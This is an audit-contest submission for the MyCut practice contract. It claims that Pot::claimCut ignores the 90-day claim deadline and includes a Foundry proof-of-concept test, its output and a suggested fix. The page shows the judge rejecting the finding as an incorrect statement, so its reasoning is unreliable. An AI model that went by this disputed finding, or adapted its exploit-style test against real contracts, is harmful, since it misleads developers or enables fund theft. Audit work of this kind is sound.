MyCut
AI First Flight #8
Beginner FriendlyFoundry
EXP
View results
Previous Next
Submission Details
Impact: medium
Likelihood: high
Invalid

`Pot::claimCut` doesn't check 90-day deadline, so players can claim after the claim period is over.

theo_mc

Root + Impact

Pot::closePot checks that 90 days have passed, but Pot::claimCut never checks the deadline. A player who missed the 90 days can still claim their reward and then also receive a share of the final distribution. This takes money away from the players who claimed in time and from the manager.

Description

The README says players have 90 days to claim. After that, the manager takes a cut and the rest goes to the players who claimed in time:

allowing authorized claimants 90 days to claim before the manager takes a cut of the remaining pool and the remainder is distributed equally to those who claimed in time

closePot checks the 90 days, but claimCut does not:

function claimCut() public {
address player = msg.sender;
uint256 reward = playersToRewards[player];
if (reward <= 0) {
revert Pot__RewardNotFound();
}
playersToRewards[player] = 0;
remainingRewards -= reward;
claimants.push(player);
_transferReward(player, reward);
}
​
function closePot() external onlyOwner {
if (block.timestamp - i_deployedAt < 90 days) {
revert Pot__StillOpenForClaim();
}
...
}

So after day 90, and before the owner calls closeContest, any player can still claim. The late player is also added to claimants, so closePot pays them the same closing share as the players who claimed in time.

Risk

Likelihood: High

Any player who missed the deadline can do this. No attacker and no special setup are needed.
It only needs the owner not to have closed the contest yet, which is the normal situation after day 90.

Impact: Medium

The late player takes their reward after the deadline. By the README, this reward should stay in the pool for the players who claimed in time.
The late player is also counted as a claimant, so they get the same closing payment as the on-time claimants.
As a result, the on-time claimants and the manager receive less than the protocol promises.
Only the money inside this one contest is affected. No funds are lost from outside it.

Proof of Concept

Add the following functions inside the existing TestMyCut contract in test/TestMyCut.t.sol.

address player3 = makeAddr("player3");
​
function _createFundedPot(
uint256 r1,
uint256 r2,
uint256 r3,
uint256 total
) internal returns (Pot) {
address[] memory p = new address[](3);
p[0] = player1;
p[1] = player2;
p[2] = player3;
​
uint256[] memory r = new uint256[](3);
r[0] = r1;
r[1] = r2;
r[2] = r3;
​
vm.startPrank(user);
contest = ContestManager(conMan).createContest(
p,
r,
IERC20(ERC20Mock(weth)),
total
);
​
ContestManager(conMan).fundContest(0);
​
vm.stopPrank();
​
return Pot(contest);
}
​
function test_PoC_claimCutafterDeadline() public mintAndApproveTokens {
Pot pot = _createFundedPot(10, 20, 30, 60);
​
// player2 claims in time
vm.prank(player2);
pot.claimCut();
​
// the 90 days are over
vm.warp(block.timestamp + 91 days);
​
// player1 did not claim in time, but can still claim
uint256 player1BeforeClaim = weth.balanceOf(player1);
vm.prank(player1);
pot.claimCut(); // should revert, but succeeds
​
assertEq(weth.balanceOf(player1), player1BeforeClaim + 10);
assertEq(pot.getRemainingRewards(), 30);
​
// the owner closes the contest
uint256 player1BeforeClose = weth.balanceOf(player1);
uint256 player2BeforeClose = weth.balanceOf(player2);
​
vm.prank(user);
ContestManager(conMan).closeContest(address(pot));
​
uint256 player1ClosingShare = weth.balanceOf(player1) -
player1BeforeClose;
uint256 player2ClosingShare = weth.balanceOf(player2) -
player2BeforeClose;
​
console.log("late player1 closing share :", player1ClosingShare);
console.log("on-time player2 closing share:", player2ClosingShare);
// the late player gets the same closing payment as the on-time player
assertGt(player1ClosingShare, 0);
assertEq(player1ClosingShare, player2ClosingShare);
}

Run from the repository root:

forge test --mt test_PoC_claimCutafterDeadline -vv

Output:

[PASS] test_PoC_claimCutafterDeadline() (gas: 1239315)
Logs:
...
late player1 closing share : 9
on-time player2 closing share: 9

The test passes because its assertions confirm the vulnerable behavior: the late claim does not revert, and the late player receives the same closing payment as the on-time player.

Recommended Mitigation

Add deadline check before claiming the rewards

+ error Pot__ClaimPeriodOver();
function claimCut() public {
+ if (block.timestamp - i_deployedAt >= 90 days) {
+ revert Pot__ClaimPeriodOver();
+ }
address player = msg.sender;
....
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!